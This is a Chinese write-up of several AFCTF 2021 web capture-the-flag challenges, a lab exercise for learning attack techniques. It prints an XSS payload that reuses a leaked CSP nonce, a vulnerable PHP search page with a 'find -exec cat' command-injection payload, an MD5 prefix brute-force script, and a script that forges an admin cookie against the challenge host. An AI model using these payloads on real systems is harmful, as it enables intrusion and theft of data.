【Web】AFCTF 2021 题解(部分)

目录

BABY_CSP

search

secret

[google authenticator](#google authenticator)


随便做做,环境是NSS上的

BABY_CSP

CSP绕过_script-src 'self-CSDN博客

CSP指令值

*: 星号表示允许任何URL资源,没有限制;

self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;

data:仅允许数据模式(如Base64编码的图片)方式加载资源;

none:不允许任何资源被加载;

unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;

nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;

发包,响应头有CSP字段,给了nonce值

以变量形式输出flag

payload:

复制代码
?school=<script nonce="29de6fde0db5686d">alert(flag);</script>

右键查看源码拿到flag

访问/www.zip拿到源码

复制代码
<?php
error_reporting(0);
$argv = $_GET["search"];
for ($i = 0; $i < strlen($argv); $i++) {
  if (($argv[$i] == '&') ||
    ($argv[$i] == '>') ||
    ($argv[$i] == '<') ||
    ($argv[$i] == '(') ||
    ($argv[$i] == ';') ||
    ($argv[$i] == '|')
  ) {

    if ($i == 0) {
      goto error;
    }
    if (($i == 1) && ($argv[0] == '\\')) {
      continue;
    }
    if (($argv[$i - 1] == '\\') && ($argv[$i - 2] != '\\')) {
      continue;
    }
    error:
    exit("Input contains prohibited characters!<br>");
  }
}
echo "<h3>Search reslut:</h3><br>";
system("find / -iname " . $argv);
?>

逻辑就是,如果输入检查发现非法字符,并且这些字符不是被合法转义,脚本执行exit,输出错误信息并停止运行。就是不让拼接多条命令,强制要求直接对find命令进行利用

find命令进阶(二):对找到的文件执行操作exec_find 寻找特定目录下的文件并执行-CSDN博客

payload:

/search.php?search=environ -exec cat {} \;

secret

写脚本爆md5

复制代码
import hashlib
import itertools
import string

# 目标MD5哈希的前6个字符
target = '1af15e'

# 尝试的密码字符集,这里使用了字母和数字,可以根据需要调整
charset = string.ascii_letters + string.digits

# 密码的最大长度,可以根据实际情况调整
max_length = 6

# 爆破密码
def brute_force():
    for length in range(1, max_length + 1):
        # itertools.product生成所有可能的密码组合
        for attempt in itertools.product(charset, repeat=length):
            # 将密码组合转换为字符串
            password = ''.join(attempt)
            # 计算密码的MD5哈希,并取前6个字符
            hash = hashlib.md5(password.encode()).hexdigest()[:6]
            # 检查哈希是否与目标匹配
            if hash == target:
                return password
    return None

# 运行爆破函数
password = brute_force()

if password:
    print(f"Found password: {password}")
else:
    print("Password not found.")

先随便注册一个号

再去登录

点击secret回显只有admin能看

cookie有一段加密逻辑,笨人整不来整不来,看个乐就好

复制代码
import requests

def encrypt(s):
    res = ""
    for i in s:
        if ord(i)%2 == 0:
            res += chr(ord(i) + 2)
        else:
            res += chr(ord(i) - 2)
        res += "a"
    return res

def main():
    url = "http://node4.anna.nssctf.cn:28389/" + "secret.jsp"
    cookies = {"usr" : encrypt("admin")}
    res = requests.get(url, cookies=cookies)
    print(res.text)

if __name__ == "__main__":
    main()

google authenticator

AFCTF 2021google authenticator-CSDN博客

相关推荐
曲幽2 天前
你的REST接口还在“过度投喂”数据吗?——FastAPI + GraphQL实战避坑指南
python·fastapi·web·graphql·route·cors·rest·strawberry
带刺的坐椅4 天前
Spring Boot → Solon 注解迁移实战指南:一张对照表说清楚
java·springboot·web·solon
曲幽8 天前
刚部署的 LibreTranslate 频频翻车?我掏出了 20 年前的 StarDict 词典,用 FastAPI 搭了个本地词典翻译 API
python·fastapi·web·translate·goldendict·libretranslate·stardict·pystardict
曲幽9 天前
别再用网页翻译看源码了!你的私人翻译神器LibreTranslate,部署避坑指南来了
python·docker·web·pot·translate·libretranslate·arogstranslate
llz_11215 天前
web-第四次课后作业
前端·spring boot·web
天山@12316 天前
电商系统Web渗透测试实战学习笔记
web·电商系统
xcLeigh17 天前
鸿蒙平台 KeePass 密码管理器适配实战:从 Windows 到 鸿蒙PC 的 Electron 迁移指南
windows·electron·web·harmonyos·加密算法·keepass
一拳一个娘娘腔17 天前
【第五期】漏洞攻防-逻辑篇:越权与支付漏洞 —— 为什么改个参数就能“0元购”?
安全·web安全·web
持敬chijing17 天前
Web渗透之前后端漏洞-文件下载漏洞
sql·web安全·网络安全·网络攻击模型·web
飞天狗11119 天前
零基础JavaWeb入门——第2课:让网页“活”起来 —— JSP是什么?
java·开发语言·前端·后端·web